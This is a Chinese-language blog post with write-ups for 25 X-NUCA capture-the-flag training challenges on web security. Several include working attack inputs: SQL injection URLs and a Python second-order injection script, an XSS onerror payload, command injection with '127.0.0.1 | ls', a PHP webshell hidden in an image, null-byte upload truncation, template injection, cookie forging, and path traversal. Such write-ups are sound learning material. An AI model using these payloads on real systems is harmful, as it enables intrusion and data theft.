标签:x-nuca训练题题解
题目1:
很简单,看源码即可得到flag。
A HIDDEN FLAG: FLAG{th!5!5n0tth3fl@g}
题目2:
post 提交q1=2016&q2=lol&q3=22&success=true即可
flag{W3ll_d0n3}
题目3:
这里base64decode是Normal 改成Admin的base64编码提交
flag{C00ki3_n0m_n0m_n0m}
题目4:
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET[‘foo‘]);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET[‘cat‘];
$d=@$_GET[‘dog‘];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>
可以看出foo是一个jason对象,并且要求里边元素第一个比2016大而且不能是数字, 这里用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。 bar1为2017a即可.bar2是一个数组,长度是5,里边第一个元素是数组
array和string进行strcmp比较的时候会返回一个null,%00可以截断eregi。cat[0]=00code2016&cat[1][]=1111&dog=%00
所以最后提交foo={%22bar1%22:%222017e%22,%22bar2%22:[[1],1,2,3,0]}&cat[0]=00htctf2016&cat[1][]=1111&dog=%00
flag{php_i5_n0t_b4d}
题目5:
随便点击另外一个人的密码,得到:
没卵用,看url:
http://218.76.35.75:20115/index.php?page=b74d94c647115ba40b3acd8e12b4e122
b74d94c647115ba40b3acd8e12b4e122 md5解密得到: bob317
所以猜测应该是名字加上三个数字,burp抓包:
题目6:
题目中说:而且题中给了提示,http头注入,要么是xff或者refer或者user-Agent
Wecome our official sites:heetian.com/heetian.php
Waist long hair, teenager marry me these days.
看来是referrer头注入,看了别人的wp,sqlmap直接跑:
Sqlmap默认不测试 http头的一些注入。。。
--level 等于或者大于3的时候,就会测试Referer了。。。
直接加个参数好了,看能不能跑出来
看来还真可以 ,继续测试,加上 --dbs 看都有那些数据库:
不出意外的话flag应该就在ctf里边,
果然: flag: Y0ugetT82f00000laev
题目7:
上传php文件,这也不多说额了,就是简单的%00截断
题目8:
就是运行js,然后flag的url就出来了,结果在页面的cookie里边。
题目9:
parse_str($_GET[‘heetian‘]);
主要是这个函数,提交heetian=he=abcd ,flag:
C00d1uckf0rY0uuu
题目10:
一个XSS,输入#‘ onerror=alert(document.domain)
<img src=‘#‘ onerror=alert(document.domain) />flag:D0Gum6Ntd0M11n</form>
题目11:
由提示得出访问http://218.76.35.75:20126/index.php?page=/flag
flag 不在这里<!-- flag: 62a72cb2f3d5e7fc0284da9f21e66c9f.php--></body>
题目12:
和前边一道题很像,burp爆破管理员的id,改下cookie就行
题目13:
sql注入
http://218.76.35.75:20101/?name=%27%20union%20select%201,2,3%20--%20-
不过貌似过滤了information_schama.tables什么的,直接猜:flag表flag字段
http://218.76.35.75:20101/?name=%27%20union%20select%201,2,flag%20%20from%20flag--%20-
flag= thisisforunionsqlinjection
题目14:
图片上传php一句话木马
copy 1.png/b+1.php/a 2.png
题目15:
127.0.0.1 | ls
linux下的连接符有多个。如&&,||,;,| 我们需要都测试后面命令为简单的ls
flag:dirpwnitdoyouknow
题目16:
1、游戏是个坑,只有玩到1000000分时,会在cookie写入("urlkey","webqwer"[1]+"100.js",864E5),所以e100.js是提示文件
2、正确思路是分析游戏tetris.js,这个js混淆过,所以先美化http://tool.lu/js/,分析得出e100.js
3、e100.js是一段JSFuck编码后的JS脚本
4、本地运行这段js脚本,弹出flag{oT0yTrjU0xhjhj2YTcT8jljMWpzS9tDk}
这个网站可以 http://tool.lu/js/
题目17:
更改xff还有referrer头信息,md5解密得到密码cafe
题目18:
主要考察:
1.1.http://netknight.in/67cms/kindeditor/php/file_manager_json.php?path=/ 爆出flag路径
2. //path=/,爆出绝对路径D:AppServwww67cmskindeditorphpfile_manager_json.php
3. 2.http://netknight.in/67cms/kindeditor/php/file_manager_json.php?path=AppServ/www/67cms/
4. //根据爆出的绝对路径,修改path的值为AppServ/www/67cms/
5. 这时将遍历d:/AppServ/www/67cms/下的所有文件和文件名
题目19:
用扫目录的工具,发现存在.git 文件夹。
用https://github.com/kost/dvcs-ripper工具,获得题目的源代码。
查找源码后,发现没有flag的位置,使用git log 发现。有2次commit记录。
这个时候,使用git 文件比对,发现hack.php的第一次提交里,包含flag。
ps: 以后的各题都是转载别人的wp
题目20:
查看页面源码,发现,flask pytho test 猜测考察.flask python相关的东西,前阵子比较热门的模版注入。
但是不知道源码。假设python设置不当,可能为debug=true的形式启动应用。
可以尝试提交错误的字符串,导致服务器返回报错
提交data=xx{{} 发现返回错误页面。
错误页面下。有app.py的源码。
发现敏感字符,猜测模版注入,只需要执行
get_user_file(‘473bfa63bfeb1e673d6d151a799af923.py’)可以读取该文件
构造如下提交,即可。
http://218.76.35.75:20102/?data=sleep{{get_user_file(%27473bfa63bfeb1e673d6d151a799af923.py%27)}}
上述语法的构造为 Python的模版执行中的语法规则。
题目21:
提示为自加密题
访问页面后,非常明显的image=heihei.jpg 可猜测为文件读取,返回base64编码的文件内容,
我们构造http://218.76.35.75:20106/index.php?image=index.php并解码。得到index.php的源码内容,如下所示
源码里有config关键词,并被替换了_ 。
这时候,都没出现自加密的地方。查看cookie 也没有,可能存在其他技巧点。
提出扫描器,发现存在 .idea文件夹。.idea文件夹是phpstorm工具编写Php代码时生成的文件夹。访问.idea/workspace.xml 发现如下
利用index.php?view=function_crypt.php 读取该文件。并解码,得到加密函数源码。
我们为了获取flag 。需要cookie 为正确的加密后的system用户的cookie值.可以在访问function_crypt.php文件后,可以得到guest用户的cookie值。下面就是解密函数的代码了提供如下解密函数。
最终写出poc
function ss($txt,$m){
for($i=0;$i<strlen($m);$i++){
$tmp .= chr(ord($m[$i])+10);
}
$m=$tmp;
$tmp=‘‘;
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
for($i=0;$i<strlen($txt);$i++){
$key .= $txt[$i] ^ $m[$i];
}
$s=‘0123456789abcdef‘;
$txt1=‘system‘;
for($i=0;$i<strlen($txt1);$i++){
$tmp .= chr(ord($txt1[$i])+10);
}
$txt1=$tmp;
$tmp=‘‘;
for($i=0;$i<16;$i++){
$tmp = $key.$s[$i];
for($ii=0;$ii<strlen($txt1);$ii++){
$txt2 .= $txt1[$ii] ^ $tmp[$ii];
}
file_put_contents(‘1.txt‘,base64_encode($rnd.$txt2)."\r\n",FILE_APPEND);
$txt2=‘‘;
}
}
ss(‘eldUVRdOWRhI‘,‘guest‘); // 设置获取的guest用户的cookie值。
这个生成了16个加密的密文,用burp加载后,跑一遍,即可得到flag 。
题目22:
提示help.php,并且index.php 页面有webshellpass ,猜测是一个后门需要正确的密码登录。 同时,提示为Php是一个伟大的语言,可能考察php的特性。并且有页面中的提示
这里就肯定不是爆破的题目了。需要考脑洞的题目了,还有一点点的知识涉猎是否广泛的情况了。
这时候,都没出现自加密的地方。查看cookie 也没有,可能存在其他技巧点。
这个题目的缘由就是从这里来的。Php的全局函数,导致绕过验证逻辑。
当提交 shell[pass]=asasdfasdfasdf&shell[login]=false时,发现页面还是报errorpassword 。
猜测有session 。大概逻辑。可能如下:
If($_SESSION[??]){{
Echo $flag;
}else {
If($password=$pass){
$_SESSION[???]=$pass;
Echo $lag;
}
}
Webshell一般都比较简单,可能就是当上述的???设置admin 或者login
加上上述有说php的全局变量,我们可以提交如下
shell[pass]=asdfasdf&shell[_SESSION][login]=asd&shell[login]=false
即可得到flag.
题目23:
发现存在robots.txt 文件
访问该地址。得到upload.zip
Upload.zip为index.php
查看Index.php后。
发现对大多数的字符进行了过滤。该过滤方式为黑名单判断,我们只需要找到程序中,为过滤完全的字符,进行payload编写即可。
查找wooyun或者其他地方的资料库,可以知道.%0a 同样可以用来做空格的代替。
那么我们只需要构造如下参数提交
username=admind‘%a0union%a0select%a0‘4124bc0a9335c27f086f24ba207a4912‘%a0from%a0admin%a0where%a0‘1‘=‘1&password=aa
即可得到flag
题目24:
1.文件包含(需要开一下脑洞,猜一猜文件名)
根据提示,可以得到一个目录:
http://218.76.35.75:20116/flagishere/
2.访问这个目录,是一个登录界面,这道题目考的是注入,只不过考点是sql注入的绕过。后端代码中检测了并且拦截了各种sql的关键字。
但是,可以使用“||”来代替关键词 OR
用户名和密码输入admin‘||‘1‘=‘1即可绕过检测登录,获得flag
题目25:
注:apache、mysql
1、.index.php.swp源码泄露
2、注入点id是被is_numeric过滤后,插入到vote表里的,可以用十六进制或者二进制绕过is_numeric,把注入查询语句插入到vote表里,然后又从vote表里取出,形成二次注入
3、猜解t_flag表,使用GROUP_CONCAT(flag)取flag
解题代码:
#!/usr/bin/env python
import requests
import binascii
import sys
def hack(inject):
#print inject;
vul={‘id‘:inject,‘vote‘:3,‘submit‘:1}
print vul
req=requests.post(‘http://218.76.35.74:65080/index.php‘,data=vul)
print req.content
if __name__=="__main__":
s = ‘-1 union all (SELECT GROUP_CONCAT(flag) from t_flag)‘
hack("0x" + binascii.hexlify(s))
本文出自 “TheAuroraSec” 博客,请务必保留此出处http://aurorasec.blog.51cto.com/9752323/1832173
标签:x-nuca训练题题解
原文地址:http://aurorasec.blog.51cto.com/9752323/1832173